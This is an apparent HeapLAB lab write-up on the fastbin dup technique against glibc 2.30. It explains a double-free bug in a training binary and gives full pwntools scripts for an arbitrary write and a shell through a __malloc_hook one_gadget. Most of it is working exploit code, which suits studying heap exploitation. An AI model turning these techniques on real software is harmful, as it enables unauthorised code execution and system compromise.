#heap #fastbin #glibc_2_30 #heaplab # Fastbin Dup ## Vulnerability ### Main Functionality ![](https://i.imgur.com/1TImEtE.png) Allows a `double free` as the free choice only checks to make sure that the the index getting freed is less than`current_count` but when chunk is freed, the current count does not get subracted. In glibc 2.30 there is a check to combat double frees, the check makes sure that the check freed into the fast bin is not the first chunk in the fastbin. However if there is another freed chunk in the fastbin then no error is thrown. Throws `double free or corruption (fasttop)` ```cpp void* a = malloc(1); free(a); free(a); ``` Does not throw any error ```cpp void* a = malloc(1); void* b = malloc(1); free(a); free(b); free(a); ``` Using the script below, test the fastbin dup ```python from pwn import * context.binary = elf = ELF("./fastbin_dup") io = elf.process() gdb.attach(io) def malloc(s,d): io.sendlineafter("> ","1") io.sendlineafter("size: ",str(s)) io.sendlineafter("data: ",d) def free(i): io.sendlineafter("> ","2") io.sendlineafter("index: ", str(i)) def print_it(i): io.readuntil("target: ") leak = io.readline().strip() io.sendlineafter("username: ", "chris") malloc(10,"hi") malloc(10,"hi") free(0) free(1) free(0) io.interactive() ``` And then check the bins: ``` gef➤ heap bins ────── Fastbins for arena 0x7f35a9642b60 ────────────────────────────────── Fastbins[idx=0, size=0x20] ← Chunk(addr=0x10c9010, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x10c9030, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x10c9010, size=0x20, flags=PREV_INUSE) → [loop detected] ``` The bin now contains one chunk twice. This means that we can use malloc to return the same chunk twice. Using the double free you can overwrite the FD pointer to point to an arbitray location where a fake chunk will be. When this fake chunk gets malloced,a pointer to the arbitrary address is returned which we can write to, giving us an arbtrary write. We can write over the target address to whatever we want. The fake chunk points to the username we sent in the beginning of the program. We can craft the chunk to use the correct fastbin size. In this case I am using fastbin 0x20 and then set the size to 0x21 to turn on the prev_inuse flag ## Script for target overwrite ```python from pwn import * context.binary = elf = ELF("./fastbin_dup") io = elf.process() #gdb.attach(io) def malloc(s,d): io.sendlineafter("> ","1") io.sendlineafter("size: ",str(s)) io.sendlineafter("data: ",d) def free(i): io.sendlineafter("> ","2") io.sendlineafter("index: ", str(i)) def print_it(): io.sendlineafter("> ","3") io.readuntil("target: ") leak = io.readline().strip() print(leak) payload = "A"*8+"\x21" + p64(0) io.sendlineafter("username: ", payload) malloc(10,"hi") malloc(10,"hi") free(0) free(1) free(0) fake_chunk = p64(0x602010) malloc(10,fake_chunk) malloc(10,"gang") malloc(10,"gang") malloc(10,"GANGGANGBRUH") print_it() io.interactive() ``` ## Get RCE To get RCE, we can use the arbitraty write a one_gadget to `__malloc_hook` We would also need a leak, but in this case the binary gives it to us. The one gadgets for the libc: ``` 0xc4dbf execve("/bin/sh", r13, r12) constraints: [r13] == NULL || r13 == NULL [r12] == NULL || r12 == NULL 0xe1fa1 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xe1fad execve("/bin/sh", rsi, [rax]) constraints: [rsi] == NULL || rsi == NULL [[rax]] == NULL || [rax] == NULL ``` I used 0x60 for my fastbin size because that will actually put us in the 0x70 fastbin which we use with the fake chunk right above `__malloc_hook` unaligned taking adavtange of the 0x7f in the address's MSB # Solve ```python from pwn import * context.binary = elf = ELF("./fastbin_dup") libc = elf.libc io = elf.process() #gdb.attach(io) def malloc(s,d): io.sendlineafter("> ","1") io.sendlineafter("size: ",str(s)) try: io.sendlineafter("data: ",d) except: io.interactive() def free(i): io.sendlineafter("> ","2") io.sendlineafter("index: ", str(i)) def print_it(): io.sendlineafter("> ","3") io.readuntil("target: ") leak = io.readline().strip() print(leak) payload = "A"*8 io.readuntil("@ ") puts_leak = int(io.readline().strip(),16) log.success("Puts Leak: "+hex(puts_leak)) libc.address = puts_leak - libc.symbols['puts'] log.success("Base: " + hex(libc.address)) io.sendlineafter("username: ", payload) malloc(0x60,"hi") malloc(0x60,"hi") free(0) free(1) free(0) fake_chunk = p64(libc.symbols['__malloc_hook']-0x23) malloc(0x60,fake_chunk) malloc(0x60,"gang") malloc(0x60,"gang") one_gad = 0xe1fa1 + libc.address payload = "A"*19 payload += p64(one_gad) malloc(0x60,payload) malloc(10,"rondo") # trigger one_gad io.interactive() ```